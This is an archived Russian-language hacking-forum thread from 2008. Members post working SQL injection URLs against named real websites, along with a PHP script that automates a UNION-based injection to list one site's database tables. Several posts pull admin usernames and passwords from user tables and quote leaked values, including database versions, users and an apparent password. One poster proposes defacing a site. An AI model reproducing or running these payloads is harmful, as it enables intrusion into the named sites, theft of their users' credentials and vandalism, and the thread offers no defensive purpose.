ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
24.05.2008, 18:17
|
|
Познающий
Регистрация: 23.04.2008
Сообщений: 39
Провел на форуме:
198086
Репутация:
135
|
|
выводит INFORMATION_SCHEMA.TABLES
с сайта samba.org.ua
PHP код:
<?
echo "<pre>\n";
@set_time_limit(0);
@ini_set("display_errors","0");
$hostname = gethostbyname('samba.org.ua');
function info($info)
{
global $hostname;
$responce = "";
$fsock = fsockopen($hostname,80,$errnum,$errstr,2);
$headers = "GET http://samba.org.ua/articles/?section=2-1 AND 1=0 UNION SELECT 1,2,COUNT(CONCAT_WS(0x203A20,TABLE_SCHEMA,TABLE_NA ME)),4 FROM $info HTTP/1.1\n";
$headers .= "Host: my-photo.ru\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
$headers .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n";
$headers .= "Keep-Alive: 500\n";
$headers .= "Connection: close\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
fwrite ($fsock,$headers);
while (!feof($fsock)) $responce .= fread($fsock,1024);
fclose ($fsock);
$patern = "#<[\s]*sqlinj[\s]*>([^<]*)<[\s]*/sqlinj[\s]*>#i";
if(preg_match($patern, $responce, $rez)) echo $rez[1]; else echo 'Something not right...';
//echo $responce;
}
info("INFORMATION_SCHEMA.TABLES");
echo "</pre>";
?>
|
|
|
25.05.2008, 05:49
|
|
Постоянный
Регистрация: 25.08.2007
Сообщений: 530
Провел на форуме:
3926698
Репутация:
1446
|
|
nickjacobsen.com
Код:
http://www.nickjacobsen.com/index.php?id=2+union+select+1,2,3,unhex(hex(concat_ws(0x3,version(),user(),database())))/*
5.0.18web12@localhostusr_web12_1
Код:
http://www.nickjacobsen.com/index.php?id=2+union+select+1,2,3,concat(username,0x3,password)+from+members+limit+1,1/*
web12L3Ahzh09
|
|
|
|
25.05.2008, 08:05
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
Shoptop.kiev.ua - магазин
http://www.shoptop.kiev.ua/news_info.php?id=-1+union+select+1,table_name,3,4,5,6+from+informati on_schema.tables+limit+1,100/*&url=http://warezzz.biz
Mobiman.com.ua - Интернет магазин.
http://www.mobiman.com.ua/info_pages.html?pgID=17'+union+select+1,2,3,concat (user(),0x3a,database(),0x3a,version()),5/*
Instore.kz - интернет магазин. 2 колонки)
http://instore.kz/rss.php?language=17'+union+select+1/*&url=http://warezzz.biz
http://shop.sportmaster.ru/?cat_id=31796&cat_vendor[]=HEAD&cat_vendor[]=WILSON&cat_sort_url=sort&cat_sort_url=cost&cat_so rt_url='
Последний раз редактировалось sabe; 25.05.2008 в 09:21..
|
|
|
|
25.05.2008, 10:06
|
|
Banned
Регистрация: 15.01.2008
Сообщений: 63
Провел на форуме:
399884
Репутация:
46
|
|
http://www.yug.odessa.ua/new/view.php?tid=-1+UNION+SELECT+1,2,3,4,5,6&tr=a еще одна.
|
|
|
|
25.05.2008, 13:17
|
|
Участник форума
Регистрация: 14.08.2007
Сообщений: 150
Провел на форуме:
686641
Репутация:
205
|
|
http://www.aei.brookings.org/
Код HTML:
http://www.aei.brookings.org/publications/abstract.php?pid=-296+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a,version(),user(),database()),15,16,17,18,19/*
4.0.25-standard-log:aei_brookings@10.225.135.70:aei_brookings
Последний раз редактировалось ~EviL~; 25.05.2008 в 13:31..
|
|
|
|
25.05.2008, 15:30
|
|
Banned
Регистрация: 15.01.2008
Сообщений: 63
Провел на форуме:
399884
Репутация:
46
|
|
Еще парочка:
http://www.trigeneve.ch/news_fichiers/news.php?mode=voir&nb=1+UNION+SELECT+1,2,3,4,conca t_ws(0x3b,pseudo,pass,email),6,7+from+tr_user_news/*
--------------------------------
http://www.pulp-world.com/trigeneve/news_fichiers/news.php?mode=voir&nb=1+UNION+SELECT+1,2,3,4,conca t_ws(0x3b,pseudo,pass,email),6,7+from+tr_user_news/*
---------------------------------
http://www.srib.be/index.php?option=com_filiale&idFiliale=-1+union+select+1,password,3,4,username,6,7,8,9,10, 11+from+jos_users/*
И
http://www.dddhouse.com/v3/product_details.php?ProductID=8416&LanguageID=1+or der+by+1/* - Тут что-то, у меня не получается дальше продвинуться.
Последний раз редактировалось WeddRRRyss; 25.05.2008 в 15:35..
|
|
|
|
25.05.2008, 19:21
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
33x.ru - Интернет Магазин
http://www.33x.ru/index.php?shopping_cart=yes&add2cart=17'+union+sel ect+1/*
осталось подобрать колонки, вчера в 3 часа ночи дотыкал до 30 и забил))
Последний раз редактировалось sabe; 25.05.2008 в 21:33..
|
|
|
|
26.05.2008, 09:27
|
|
Познающий
Регистрация: 22.03.2008
Сообщений: 63
Провел на форуме:
247838
Репутация:
65
|
|
www.hcvolga.ru - сайт хоккейного клуба Волга
http://www.hcvolga.ru/?id=-1+union+select+1,2,3,concat_ws(0x3,user(),version( ),database()),5/*
hcvolga7@v29.valuehost.ru4.0.27-max-loghcvolga7
www.fcvu.ru - официальный сайт футбольного клуба Волги 
http://www.fcvu.ru/?id=-1+union+select+1,2,concat_ws(0x23,user(),version() ,database()),4,5,6/*
fcvu131@217.112.35.22#5.0.45-log#fcvu131
|
|
|
|
26.05.2008, 11:48
|
|
Постоянный
Регистрация: 23.11.2007
Сообщений: 342
Провел на форуме:
1215706
Репутация:
310
|
|
PHP код:
http://www.aziendeinvista.it/view_news.asp?id=-1+union+select+1,concat_ws(0x3a,Admin,Passw),3,4,5,6,7+from+admin%23
http://www.aziendeinvista.it/ |
|
|
|
26.05.2008, 14:36
|
|
Banned
Регистрация: 15.01.2008
Сообщений: 63
Провел на форуме:
399884
Репутация:
46
|
|
zavarka.ru
http://zavarka.ru/texts/cgi-bin/show.cgi?id=999999+union+select+1,2,3,4,version(), 6,7,8/*
надо сделать дефейс: "дрочить вредно")
Последний раз редактировалось WeddRRRyss; 26.05.2008 в 15:37..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
